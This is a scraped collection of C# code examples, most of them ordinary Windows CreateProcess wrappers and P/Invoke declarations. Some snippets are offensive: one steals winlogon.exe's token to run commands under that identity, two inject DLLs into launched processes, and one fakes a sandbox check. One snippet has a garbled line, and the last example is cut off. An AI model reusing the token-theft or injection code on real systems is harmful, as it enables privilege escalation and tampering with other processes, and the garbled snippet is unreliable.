Exemplo n.º 1
0
        public static Debuggee Launch(string executable,
			string argumentString = null, string workingDirectory = null)
        {
            var si = new STARTUPINFO {
                cb = Marshal.SizeOf(typeof(STARTUPINFO)),
            };
            var pi = new PROCESS_INFORMATION();

            if (argumentString == string.Empty)
                argumentString = null;
            if (workingDirectory == string.Empty)
                workingDirectory = null;

            if (!API.CreateProcess(executable, argumentString, IntPtr.Zero, IntPtr.Zero, true,
                ProcessCreationFlags.CreateNewConsole | // Create extra console for the process
                ProcessCreationFlags.DebugOnlyThisProcess // Grant debugger access to the process
                ,IntPtr.Zero, workingDirectory, ref si, out pi))
            {
                throw new Win32Exception(Marshal.GetLastWin32Error());
            }

            var dbg = new Debuggee(executable,
                pi.hProcess, pi.dwProcessId,
                pi.hThread, pi.dwThreadId,
                ExecutableMetaInfo.ExtractFrom(executable));

            return dbg;
        }
Exemplo n.º 2
0
 /// <summary>
 /// Runs the 
 /// </summary>
 public static void Run()
 {
     const uint NORMAL_PRIORITY_CLASS = 0x0020;
     string Path = Environment.CurrentDirectory + @"\" + (Program.projectName.ToString() == "Ultimatium" ? "BlackOpsMP.exe" : "iw5mp.exe");
     string Arguments = Program.Arguments;
     PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
     STARTUPINFO sInfo = new STARTUPINFO();
     SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
     SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();
     pSec.nLength = Marshal.SizeOf(pSec);
     tSec.nLength = Marshal.SizeOf(tSec);
     bool Initialized = CreateProcess(Path, Arguments,
     ref pSec, ref tSec, false, NORMAL_PRIORITY_CLASS,
     IntPtr.Zero, null, ref sInfo, out pInfo);
     if (Initialized)
     {
         Log.Write("Launching " + Program.projectName + "...");
         Log.Write("Successful launch. PID: " + pInfo.dwProcessId);
         Log.Write("Happy gaming!");
         Environment.Exit(0x0);
     }
     else
     {
         Log.Write("ERROR: Could not launch " + Program.projectName + ". Press any key to exit.");
         Console.ReadKey();
         Environment.Exit(0x3);
     }
 }
Exemplo n.º 3
0
        /// <summary>
        /// Creates the process.
        /// </summary>
        /// <param name="ProcessName">Name of the process.</param>
        /// <param name="CommandLine">The command line.</param>
        /// <exception cref="System.Exception">Failure</exception>
        public static void CreateProcess(string ProcessName, string CommandLine)
        {
            Log.WriteLine("CreateProcess(" + ProcessName + ", " + CommandLine + ")");
            STARTUPINFO SInfo = new STARTUPINFO();
            PROCESS_INFORMATION PInfo = new PROCESS_INFORMATION();
            Log.WriteLine("Try Connect to DBG");
            DbgUiConnectToDbg();
            Log.WriteLine("Try CreateProcess");
            if (!CreateProcess(null, new StringBuilder(ProcessName).Append(" ").Append(CommandLine), null, null, false, 0x1 | 0x2, null, null, ref SInfo, ref PInfo))
            {
                // May be must be run under Administrator.

                if (Global.IsAdministrator())
                {
                    Log.WriteLine("Creating process failed.");
                }
                else
                {
                    RestartWithAdministrator();
                }
            }
            Log.WriteLine("Try Stop Debugging");
            DbgUiStopDebugging(PInfo.hProcess);
            CloseHandle(PInfo.hProcess);
            CloseHandle(PInfo.hThread);
            Log.WriteLine("Created Process.");
        }
Exemplo n.º 4
0
 public static extern bool CreateProcess(string lpApplicationName,
        string lpCommandLine, IntPtr lpProcessAttributes,
        IntPtr lpThreadAttributes,
        bool bInheritHandles, ProcessCreationFlags dwCreationFlags,
        IntPtr lpEnvironment, string lpCurrentDirectory,
        ref STARTUPINFO lpStartupInfo,
        out PROCESS_INFORMATION lpProcessInformation);
        public static bool StartProcessAsCurrentUser(string appPath, string cmdLine = null, string workDir = null, bool visible = true)
        {
            var hUserToken = IntPtr.Zero;
            var startInfo = new STARTUPINFO();
            var procInfo = new PROCESS_INFORMATION();
            var pEnv = IntPtr.Zero;
            int iResultOfCreateProcessAsUser;

            startInfo.cb = Marshal.SizeOf(typeof(STARTUPINFO));

            try
            {
                if (!GetSessionUserToken(ref hUserToken))
                {
                    throw new Exception("StartProcessAsCurrentUser: GetSessionUserToken failed.");
                }

                uint dwCreationFlags = CREATE_UNICODE_ENVIRONMENT | (uint)(visible ? CREATE_NEW_CONSOLE : CREATE_NO_WINDOW);
                startInfo.wShowWindow = (short)(visible ? SW.SW_SHOW : SW.SW_HIDE);
                startInfo.lpDesktop = "winsta0\\default";

                if (!CreateEnvironmentBlock(ref pEnv, hUserToken, false))
                {
                    throw new Exception("StartProcessAsCurrentUser: CreateEnvironmentBlock failed.");
                }

                if (!CreateProcessAsUser(hUserToken,
                    appPath, // Application Name
                    cmdLine, // Command Line
                    IntPtr.Zero,
                    IntPtr.Zero,
                    false,
                    dwCreationFlags,
                    pEnv,
                    workDir, // Working directory
                    ref startInfo,
                    out procInfo))
                {
                    throw new Exception("StartProcessAsCurrentUser: CreateProcessAsUser failed.\n");
                }

                iResultOfCreateProcessAsUser = Marshal.GetLastWin32Error();
            }
            finally
            {
                CloseHandle(hUserToken);
                if (pEnv != IntPtr.Zero)
                {
                    DestroyEnvironmentBlock(pEnv);
                }
                CloseHandle(procInfo.hThread);
                CloseHandle(procInfo.hProcess);
            }

            return true;
        }
Exemplo n.º 6
0
 public static extern bool CreateProcess(StringBuilder lpApplicationName, StringBuilder lpCommandLine,
     SECURITY_ATTRIBUTES lpProcessAttributes,
     SECURITY_ATTRIBUTES lpThreadAttributes,
     bool bInheritHandles,
     int dwCreationFlags,
     StringBuilder lpEnvironment,
     StringBuilder lpCurrentDirectory,
     ref STARTUPINFO lpStartupInfo,
     ref PROCESS_INFORMATION lpProcessInformation
     );
Exemplo n.º 7
0
 public static extern bool CreateProcess(String imageName,
     String cmdLine,
     IntPtr lpProcessAttributes,
     IntPtr lpThreadAttributes,
     bool boolInheritHandles,
     uint dwCreationFlags,
     IntPtr lpEnvironment,
     String lpszCurrentDir,
     ref STARTUPINFO si,
     out PROCESS_INFORMATION pi);
Exemplo n.º 8
0
 public static extern bool CreateProcessAsUser(
 IntPtr hToken,
 string lpApplicationName,
 string lpCommandLine,
 ref SECURITY_ATTRIBUTES lpProcessAttributes,
 ref SECURITY_ATTRIBUTES lpThreadAttributes,
 bool bInheritHandles,
 uint dwCreationFlags,
 IntPtr lpEnvironment,
 string lpCurrentDirectory,
 ref STARTUPINFO lpStartupInfo,
 out PROCESS_INFORMATION lpProcessInformation);
 internal static extern bool CreateProcessWithLogonW(
     string userName,
     string domain,
     string passwordInClearText,
     LogonFlags logonFlags,
     [MarshalAs(UnmanagedType.LPTStr)] string appName,
     StringBuilder cmdLine,
     int creationFlags,
     IntPtr environmentBlock,
     [MarshalAs(UnmanagedType.LPTStr)] string lpCurrentDirectory,
     STARTUPINFO lpStartupInfo,
     PROCESS_INFORMATION lpProcessInformation);
Exemplo n.º 10
0
 internal static extern bool CreateProcess(
     [MarshalAs(UnmanagedType.LPTStr)] string lpApplicationName,
     StringBuilder lpCommandLine,
     ref SECURITY_ATTRIBUTES procSecAttrs,
     ref SECURITY_ATTRIBUTES threadSecAttrs,
     bool bInheritHandles,
     int dwCreationFlags,
     IntPtr lpEnvironment,
     [MarshalAs(UnmanagedType.LPTStr)] string lpCurrentDirectory,
     STARTUPINFO lpStartupInfo,
     PROCESS_INFORMATION lpProcessInformation
 );
Exemplo n.º 11
0
        private string RunProcess(string id, string command)
        {
            try {
                IntPtr dupedToken = new IntPtr(0);

                SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
                sa.bInheritHandle = false;
                sa.Length = Marshal.SizeOf(sa);
                sa.lpSecurityDescriptor = (IntPtr)0;

                var token = WindowsIdentity.GetCurrent().Token;

                const uint GENERIC_ALL = 0x10000000;

                const int SecurityImpersonation = 2;
                const int TokenType = 1;

                var ret = DuplicateTokenEx(token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref dupedToken);
                if (ret == false)
                    throw new Exception("DuplicateTokenEx failed (" + Marshal.GetLastWin32Error() + ")");

                STARTUPINFO si = new STARTUPINFO();
                si.cb = Marshal.SizeOf(si);
                si.lpDesktop = "";
                PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

                uint exitCode;
                try {
                    ret = CreateProcessAsUser(dupedToken, null, @"c:\windows\system32\shutdown.exe " + command + " /m " + id, ref sa, ref sa, false, 0, (IntPtr)0, "c:\\", ref si, out pi);

                    if (ret == false)
                        throw new Exception("CreateProcessAsUser failed (" + Marshal.GetLastWin32Error() + ")");

                    WaitForSingleObject(pi.hProcess, 10000);
                    GetExitCodeProcess(pi.hProcess, out exitCode);
                }
                catch (Exception ex) {
                    throw ex;
                }
                finally {
                    CloseHandle(pi.hProcess);
                    CloseHandle(pi.hThread);
                    CloseHandle(dupedToken);
                }

                if (exitCode == 0)
                    return "";
                return "Exit code: " + exitCode;
            }
            catch (Exception ex) {
                return ex.Message;
            }
        }
Exemplo n.º 12
0
		static extern bool CreateProcess(
			string lpApplicationName,
			string lpCommandLine,
			IntPtr lpProcessAttributes,
			IntPtr lpThreadAttributes,
			[MarshalAs(UnmanagedType.Bool)] bool bInheritHandles,
			uint dwCreationFlags,
			IntPtr lpEnvironment,
			string lpCurrentDirectory,
			[In] ref StartupInfo lpStartupInfo,
			out PROCESS_INFORMATION lpProcessInformation
		);
 public static extern Boolean CreateProcessWithLogonW(
     String lpszUsername,
     String lpszDomain,
     String lpszPassword,
     Int32 dwLogonFlags,
     String applicationName,
     String commandLine,
     Int32 creationFlags,
     IntPtr environment,
     String currentDirectory,
     ref STARTUPINFO sui,
     out PROCESS_INFORMATION processInfo
     );
 public static extern Boolean CreateProcessAsUser(
     IntPtr hToken,
     String lpApplicationName,
     String lpCommandLine,
     IntPtr lpProcessAttributes,
     IntPtr lpThreadAttributes,
     Boolean bInheritHandles,
     Int32 dwCreationFlags,
     IntPtr lpEnvironment,
     String lpCurrentDirectory,
     ref STARTUPINFO lpStartupInfo,
     out PROCESS_INFORMATION lpProcessInformation
     );
Exemplo n.º 15
0
        static int Main(string[] args)
        {
            var exe = Assembly.GetExecutingAssembly().Location;
            var dir = Path.GetDirectoryName(exe);
            var name = Path.GetFileNameWithoutExtension(exe);

            var configPath = Path.Combine(dir, name + ".shim");
            if(!File.Exists(configPath)) {
                Console.Error.WriteLine("Couldn't find " + Path.GetFileName(configPath) + " in " + dir);
                return 1;
            }

            var config = Config(configPath);
            var path = Get(config, "path");
            var add_args = Get(config, "args");

            var si = new STARTUPINFO();
            var pi = new PROCESS_INFORMATION();

            // create command line
            var cmd_args = add_args ?? "";
            var pass_args = Serialize(args);
            if(!string.IsNullOrEmpty(pass_args)) {
                if(!string.IsNullOrEmpty(cmd_args)) cmd_args += " ";
                cmd_args += pass_args;
            }
            if(!string.IsNullOrEmpty(cmd_args)) cmd_args = " " + cmd_args;
            var cmd = "\"" + path + "\"" + cmd_args;

            if(!CreateProcess(null, cmd, IntPtr.Zero, IntPtr.Zero,
                bInheritHandles: true,
                dwCreationFlags: 0,
                lpEnvironment: IntPtr.Zero, // inherit parent
                lpCurrentDirectory: null, // inherit parent
                lpStartupInfo: ref si,
                lpProcessInformation: out pi)) {

                return Marshal.GetLastWin32Error();
            }

            WaitForSingleObject(pi.hProcess, INFINITE);

            uint exit_code = 0;
            GetExitCodeProcess(pi.hProcess, out exit_code);

            // Close process and thread handles.
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);

            return (int)exit_code;
        }
Exemplo n.º 16
0
 private static extern bool CreateProcess(
     [MarshalAs(UnmanagedType.LPTStr)]
     string lpApplicationName,
     string lpCommandLine,
     IntPtr lpProcessAttributes,
     IntPtr lpThreadAttributes,
     bool bInheritHandles,
     int dwCreationFlags,
     IntPtr lpEnvironment,
     [MarshalAs(UnmanagedType.LPTStr)]
     string lpCurrentDirectory,
     STARTUPINFO lpStartupInfo,
     ref PROCESS_INFORMATION lpProcessInformation
 );
Exemplo n.º 17
0
 public DLLInformation inject(string exePath, string dllPath)
 {
     DLLInformation d = new DLLInformation();
     STARTUPINFO lpStartupInfo = new STARTUPINFO();
     PROCESS_INFORMATION lpProcessInfo = new PROCESS_INFORMATION();
     SECURITY_ATTRIBUTES lpSecurityAttributes1 = new SECURITY_ATTRIBUTES();
     SECURITY_ATTRIBUTES lpSecurityAttributes2 = new SECURITY_ATTRIBUTES();
     lpSecurityAttributes1.nLength = Marshal.SizeOf(lpSecurityAttributes1);
     lpSecurityAttributes2.nLength = Marshal.SizeOf(lpSecurityAttributes2);
     IntPtr hProcess;
     CreateProcess(exePath, "", ref lpSecurityAttributes1, ref lpSecurityAttributes2, false, 0x0020, IntPtr.Zero, null, ref lpStartupInfo, out lpProcessInfo);
     hProcess = OpenProcess((int)(0x000F0000L | 0x00100000L | 0xFFF), false, lpProcessInfo.dwProcessId);
     d.ProcID = lpProcessInfo.dwProcessId;
     d.ErrorCode = commonInject(hProcess, dllPath, ref d);
     return d;
 }
Exemplo n.º 18
0
        //Initialization
        //        static uint SW_SHOW = 5;
        public static PROCESS_INFORMATION CreateProc(string fullCommand)
        {
            STARTUPINFO si = new STARTUPINFO();
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
            CreateProcess(
                null,
                fullCommand,
                IntPtr.Zero,
                IntPtr.Zero,
                false,
                0,
                IntPtr.Zero,
                null,
                ref si,
                out pi);

            return pi;
        }
Exemplo n.º 19
0
        public static void Run(out String status, out String identity, String cmdline, String startfrom)
        {
            bool      ret = false;

            identity = CurrentUserName;

            SECURITY_ATTRIBUTES sa  = new SECURITY_ATTRIBUTES();
            sa.bInheritHandle       = false;
            sa.Length               = Marshal.SizeOf(sa);
            sa.lpSecurityDescriptor = (IntPtr)0;

            STARTUPINFO si          = new STARTUPINFO();
            si.cb                   = Marshal.SizeOf(si);
            si.lpDesktop            = "";

            string commandLinePath;
            commandLinePath = cmdline;

            PROCESS_INFORMATION pi  = new PROCESS_INFORMATION();
            ret = CreateProcess(
                null,			//LPCTSTR lpApplicationName,
                cmdline,		//LPTSTR lpCommandLine,
                ref sa,			//LPSECURITY_ATTRIBUTES lpProcessAttributes,
                ref sa,			//LPSECURITY_ATTRIBUTES lpThreadAttributes,
                false,			//BOOL bInheritHandles,
                0,				//DWORD dwCreationFlags,
                (IntPtr)0,		//LPVOID lpEnvironment,
                startfrom,		//LPCTSTR lpCurrentDirectory,
                ref si,			//LPSTARTUPINFO lpStartupInfo,
                out pi);		//LPPROCESS_INFORMATION lpProcessInformation

            if (ret == false)
            {
                status = "CreateProcess failed with " + Marshal.GetLastWin32Error();
            }
            else
            {
                status = "CreateProcess SUCCESS.  The child PID is" + pi.dwProcessId;

                CloseHandle(pi.hProcess);
                CloseHandle(pi.hThread);
            }
        }
        public static void LaunchCommand1(string strCommand, string strDomain, string strName, string strPassword)
        {
            // Variables
            PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();
            STARTUPINFO startInfo = new STARTUPINFO();
            bool bResult = false;
            UInt32 uiResultWait = WAIT_FAILED;

            try
            {
                // Create process
                startInfo.cb = Marshal.SizeOf(startInfo);

                bResult = CreateProcessWithLogonW(
                    strName,
                    strDomain,
                    strPassword,
                    0,
                    null,
                    strCommand,
                    0,
                    IntPtr.Zero,
                    null,
                    ref startInfo,
                    out processInfo
                );
                if (!bResult) { throw new Exception("CreateProcessWithLogonW error #" + Marshal.GetLastWin32Error().ToString()); }

                // Wait for process to end
                uiResultWait = WaitForSingleObject(processInfo.hProcess, INFINITE);
                if (uiResultWait == WAIT_FAILED) { throw new Exception("WaitForSingleObject error #" + Marshal.GetLastWin32Error()); }

            }
            finally
            {
                // Close all handles
                CloseHandle(processInfo.hProcess);
                CloseHandle(processInfo.hThread);
            }
        }
Exemplo n.º 21
0
    public static void CreateLinProcess(string lineagefolder, long ip, ushort port, string s3ep1, string logindll)
    {
        //"C:\\Lineage Tikal\\S3EP1.exe"
        //"2130706433 16600"
        //3325717308
        var binpath = System.IO.Path.Combine(lineagefolder, s3ep1);

        STARTUPINFO si = new STARTUPINFO();
        PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
        bool success = CreateProcess(binpath, string.Format("\"{0}\" {1} {2}", binpath, ip, port),
            IntPtr.Zero, IntPtr.Zero, false,
            ProcessCreationFlags.CREATE_SUSPENDED | ProcessCreationFlags.CREATE_DEFAULT_ERROR_MODE,
            IntPtr.Zero, null, ref si, out pi);

        var logindllpath = System.IO.Path.Combine(lineagefolder, logindll);
        DllInjector.GetInstance.bInject(pi.dwProcessId, logindllpath);
        System.Threading.Thread.Sleep(1000);
        //System.Windows.Forms.MessageBox.Show("Attach debugger");

        IntPtr t_handle = pi.hThread;
        ResumeThread(t_handle);
    }
 public int CreateProcessAsUser(string app, string cmd)
 {
     PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
     try {
         SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
         sa.Length = Marshal.SizeOf(sa);
         STARTUPINFO si = new STARTUPINFO();
         si.cb = Marshal.SizeOf(si);
         si.lpDesktop = String.Empty;
         if (app != null && app.Length == 0)
             app = null;
         if (cmd != null && cmd.Length == 0)
             cmd = null;
         if (!Win32API.CreateProcessAsUser(
         _userTokenHandle,
         app,
         cmd,
         ref sa, ref sa,
         false, 0, IntPtr.Zero,
         @"C:\", ref si, ref pi
         )) {
             int error = Marshal.GetLastWin32Error();
             Win32Exception ex = new Win32Exception(error);
             string message = String.Format("CreateProcessAsUser Error: {0}", ex.Message);
             throw new ApplicationException(message, ex);
         }
     } catch (Exception ex) {
         EventLog.WriteEntry("Screen Monitor", ex.Message, EventLogEntryType.Error, 1, 1);
         throw;
     } finally {
         if (pi.hProcess != IntPtr.Zero)
             Win32API.CloseHandle(pi.hProcess);
         if (pi.hThread != IntPtr.Zero)
             Win32API.CloseHandle(pi.hThread);
     }
     return pi.dwProcessID;
 }
Exemplo n.º 23
0
        public static ExternalProcess Create(string command)
        {
            PROCESS_INFORMATION process_info = new PROCESS_INFORMATION();
            STARTUPINFO startup_info = new STARTUPINFO();

            startup_info.cb = Marshal.SizeOf(startup_info);
            startup_info.dwFlags = STARTF_USESTDHANDLES;

            SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
            SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();

            bool result = CreateProcess(null, command, ref pSec, ref tSec, true,
                DETACHED_PROCESS, IntPtr.Zero, null, ref startup_info, out process_info);

            int process_id = process_info.dwProcessId;

            if (!result)
            {
                Console.Error.WriteLine("CreateProcess failed");
                return null;
            }

            return new ExternalProcess((uint)process_id);
        }
Exemplo n.º 24
0
        public static int? StartProcessSuspended(string fileName, string args)
        {
            const uint CREATE_SUSPENDED = 0x00000004;

            var pInfo = new PROCESS_INFORMATION();
            var sInfo = new STARTUPINFO();
            var pSec = new SECURITY_ATTRIBUTES();
            var tSec = new SECURITY_ATTRIBUTES();
            pSec.nLength = Marshal.SizeOf(pSec);
            tSec.nLength = Marshal.SizeOf(tSec);

            var result = CreateProcess(
                null,
                fileName + " " + args,
                ref pSec,
                ref tSec,
                false,
                CREATE_SUSPENDED,
                IntPtr.Zero,
                null,
                ref sInfo,
                out pInfo);
            return result ? (int?)pInfo.dwProcessId : null;
        }
Exemplo n.º 25
0
 public static unsafe extern bool CreateProcessAsUser(
     IntPtr hToken,
     string lpApplicationName,
     string lpCommandLine,
     SECURITY_ATTRIBUTES lpProcessAttributes,
     SECURITY_ATTRIBUTES lpThreadAttributes,
     [MarshalAs(UnmanagedType.Bool)] bool bInheritHandles,
     CreateProcessFlags dwCreationFlags,
     void* lpEnvironment, // pointer because it may point to unicode or ANSI characters, based on a flag.
     string lpCurrentDirectory,
     ref STARTUPINFO lpStartupInfo,
     out PROCESS_INFORMATION lpProcessInformation);
Exemplo n.º 26
0
 private static extern bool CreateProcessPI(string lpApplicationName,
                                            string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
                                            ref SECURITY_ATTRIBUTES lpThreadAttributes, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandles,
                                            uint dwCreationFlags, string lpEnvironment, string lpCurrentDirectory,
                                            [In] ref STARTUPINFO lpStartupInfo,
                                            out PROCESS_INFORMATION lpProcessInformation);
Exemplo n.º 27
0
        public bool CreateProcessHooked(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, UInt32 dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation)
        {
            if ((lpCommandLine.IndexOf("echo NOT SANDBOXED")) > 0)
            {
                return(System.Convert.ToBoolean(1));
            }

            return(CreateProcess(lpApplicationName, lpCommandLine, ref lpProcessAttributes, ref lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, ref lpStartupInfo, ref lpProcessInformation));
        }
Exemplo n.º 28
0
 public static extern bool CreateProcess([MarshalAs(UnmanagedType.LPTStr)] string lpApplicationName,
                                         StringBuilder lpCommandLine, IntPtr lpProcessAttributes,
                                         IntPtr lpThreadAttributes, bool bInheritHandles,
                                         uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
                                         [In] ref STARTUPINFO lpStartupInfo,
                                         out PROCESS_INFORMATION lpProcessInformation);
Exemplo n.º 29
0
 public Process(STARTUPINFOEX startupInfo, PROCESS_INFORMATION processInfo)
 {
     StartupInfo = startupInfo;
     ProcessInfo = processInfo;
 }
Exemplo n.º 30
0
 private static extern int CreateProcessA(string lpApplicationName, string lpCommandLine, int lpProcessAttributes, int lpThreadAttributes, int bInheritHandles, int dwCreationFlags, int lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);
Exemplo n.º 31
0
 private static extern void CorLaunchApplication(uint hostType, string applicationFullName, int manifestPathsCount, string[] manifestPaths, int activationDataCount, string[] activationData, PROCESS_INFORMATION processInformation);
Exemplo n.º 32
0
        static void Main(string[] args)
        {
            int    procId;
            string file;

            if (args.Length < 2)
            {
                file = "whoami /priv";
                if (args.Length == 0)
                {
                    // If we don't have a process ID as an argument, find winlogon.exe
                    procId = Process.GetProcessesByName("winlogon").First().Id;
                }
                else if (args[0].Contains('.'))
                {
                    procId = Process.GetProcessesByName("winlogon").First().Id;
                    if (args != null)
                    {
                        file = args[0];
                    }
                }
                else
                {
                    procId = Convert.ToInt32(args[0]);
                }
            }
            else
            {
                procId = Convert.ToInt32(args[0]);
                file   = args[1];
            }
            Console.WriteLine("Stealing token from PID " + procId);

            IntPtr tokenHandle = IntPtr.Zero;
            IntPtr dupHandle   = IntPtr.Zero;

            SafeWaitHandle procHandle = new SafeWaitHandle(Process.GetProcessById(procId).Handle, true);

            Console.WriteLine("Process handle: True");

            bool procToken = OpenProcessToken(procHandle.DangerousGetHandle(), (uint)TokenAccessLevels.MaximumAllowed, out tokenHandle);

            Console.WriteLine("OpenProcessToken: " + procToken);

            bool duplicateToken = DuplicateTokenEx(tokenHandle, (uint)TokenAccessLevels.MaximumAllowed, IntPtr.Zero,
                                                   (uint)TokenImpersonationLevel.Impersonation, TOKEN_TYPE.TokenImpersonation, out dupHandle);

            Console.WriteLine("DuplicateTokenEx: " + duplicateToken);
            WindowsIdentity ident = new WindowsIdentity(dupHandle);

            Console.WriteLine("Impersonated user: "******"NT AUTHORITY\\Everyone", PipeAccessRights.FullControl, AccessControlType.Allow));

            using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable, 4096, sec))
            {
                using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.ClientSafePipeHandle))
                {
                    // Set process to use anonymous pipe for input/output
                    startInfo.hStdOutput = pipeClient.SafePipeHandle.DangerousGetHandle();
                    startInfo.hStdError  = pipeClient.SafePipeHandle.DangerousGetHandle();
                    startInfo.dwFlags    = STARTF.STARTF_USESTDHANDLES | STARTF.STARTF_USESHOWWINDOW;
                    // END NAME PIPE INITIALIZATION

                    PROCESS_INFORMATION newProc = new PROCESS_INFORMATION();
                    using (StreamReader reader = new StreamReader(pipeServer))
                    {
                        bool    createProcess = CreateProcessWithTokenW(dupHandle, IntPtr.Zero, null, file, IntPtr.Zero, IntPtr.Zero, "C:\\Temp", ref startInfo, out newProc);
                        Process proc          = Process.GetProcessById(newProc.dwProcessId);
                        while (!proc.HasExited)
                        {
                            Thread.Sleep(1000);
                        }
                        pipeClient.Close();
                        string output = reader.ReadToEnd();
                        Console.WriteLine("Started process with ID " + newProc.dwProcessId);
                        Console.WriteLine("CreateProcess return code: " + createProcess);
                        Console.WriteLine("Process output: " + output);
                    }

                    CloseHandle(tokenHandle);
                    CloseHandle(dupHandle);
                }
            }
        }
Exemplo n.º 33
0
 static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
Exemplo n.º 34
0
 private static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);
Exemplo n.º 35
0
 public static extern bool CreateProcess(string imageName, string cmdLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool boolInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpszCurrentDir, ref STARTUPINFO si, out PROCESS_INFORMATION pi);
Exemplo n.º 36
0
 public static extern bool CreateProcessWithLogonW(string lpszUsername, string lpszDomain, string lpszPassword, int dwLogonFlags, string applicationName, string commandLine, int creationFlags, IntPtr environment, string currentDirectory, ref STARTUPINFO sui, out PROCESS_INFORMATION processInfo);
Exemplo n.º 37
0
 /// <summary>
 ///
 /// </summary>
 public ProcessEx()
 {
     StartupInfo        = new STARTUPINFO();
     ProcessInformation = new PROCESS_INFORMATION();
     LaunchDirectory    = null;
 }
Exemplo n.º 38
0
        /// <summary>
        ///     Creates a new process in a desktop.
        /// </summary>
        /// <param name="path">Path to application.</param>
        /// <returns>The process object for the newly created process.</returns>
        public Process CreateProcess(string path)
        {
            // make sure object isnt disposed.
            CheckDisposed();

            // make sure a desktop is open.
            if (!IsOpen) return null;

            // set startup parameters.
            var si = new STARTUPINFO();
            si.cb = Marshal.SizeOf(si);
            si.lpDesktop = DesktopName;

            var pi = new PROCESS_INFORMATION();

            // start the process.
            var result = CreateProcess(null, path, IntPtr.Zero, IntPtr.Zero, true, NORMAL_PRIORITY_CLASS, IntPtr.Zero,
                null, ref si, ref pi);

            // error?
            if (!result) return null;

            // Get the process.
            return Process.GetProcessById(pi.dwProcessId);
        }
Exemplo n.º 39
0
        }//



        /// <summary>
        /// Create process on desktop.
        /// </summary>
        /// <param name="name">Desktop name</param>
        /// <param name="path">Executable name or full path</param>
        /// <param name="args">Executable arguments separated by space and slash, example: /arg1 /arg2</param>
        /// <returns>True if sucessful, otherwise false.</returns>
        public static bool ProcessCreate(string name, string path, string args = null)
        {
            try
            {
                // Process parameters.
                PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION();
                STARTUPINFO startupInfo = new STARTUPINFO();
                startupInfo.cb = Marshal.SizeOf(startupInfo);
                startupInfo.lpDesktop = name;      // Desktop name

                // Create and start the process.
                string path2 = string.Format("\"{0}\" {1}", path, args); // Format arguments
                bool result = CreateProcess(null, path2, IntPtr.Zero, IntPtr.Zero, true,
                        NORMAL_PRIORITY_CLASS, IntPtr.Zero, null, ref startupInfo, ref processInformation);

                return result;
            }
            catch (Exception ex)
            {
                Debug.WriteLine(ex.ToString());
                return false;
            }
        }// 
Exemplo n.º 40
0
        static void Main()
        {
            Dictionary <string, string> envs = new Dictionary <string, string>();

            if (!ExtractCommandLine(out exePath, out args, out use_showwindow, envs))
            {
                Environment.Exit(1);
            }

            string exeDir = Path.GetDirectoryName(exePath);

            envs["Path"] = Environment.GetEnvironmentVariable("PATH") + ";" + exeDir;
            foreach (KeyValuePair <string, string> env in envs)
            {
                Environment.SetEnvironmentVariable(env.Key, env.Value);
            }

            var pInfo   = new PROCESS_INFORMATION();
            var sInfoEx = new STARTUPINFOEX();

            sInfoEx.StartupInfo = new STARTUPINFO();

            sInfoEx.StartupInfo.dwFlags = Kernel32.STARTF_USESTDHANDLES;

            if (use_showwindow)
            {
                sInfoEx.StartupInfo.dwFlags |= Kernel32.STARTF_USESHOWWINDOW;
            }

            IntPtr iStdOut = Kernel32.GetStdHandle(Kernel32.STD_OUTPUT_HANDLE);
            IntPtr iStdErr = Kernel32.GetStdHandle(Kernel32.STD_ERROR_HANDLE);
            IntPtr iStdIn  = Kernel32.GetStdHandle(Kernel32.STD_INPUT_HANDLE);

            sInfoEx.StartupInfo.wShowWindow = Kernel32.SW_HIDE;
            sInfoEx.StartupInfo.hStdInput   = iStdIn;
            sInfoEx.StartupInfo.hStdOutput  = iStdOut;
            sInfoEx.StartupInfo.hStdError   = iStdErr;

            Kernel32.CreateProcess(
                null, exePath + " " + args, IntPtr.Zero, IntPtr.Zero, true,
                Kernel32.STARTF_USESTDHANDLES,
                IntPtr.Zero, null, ref sInfoEx, out pInfo);

            Kernel32.CloseHandle(pInfo.hThread);

            //make sure dispatcher kill its child process when killed
            var job = new Job();

            job.AddProcess(Process.GetCurrentProcess().Handle);
            job.AddProcess(pInfo.hProcess);

            Kernel32.WaitForSingleObject(pInfo.hProcess, Kernel32.INFINITE);

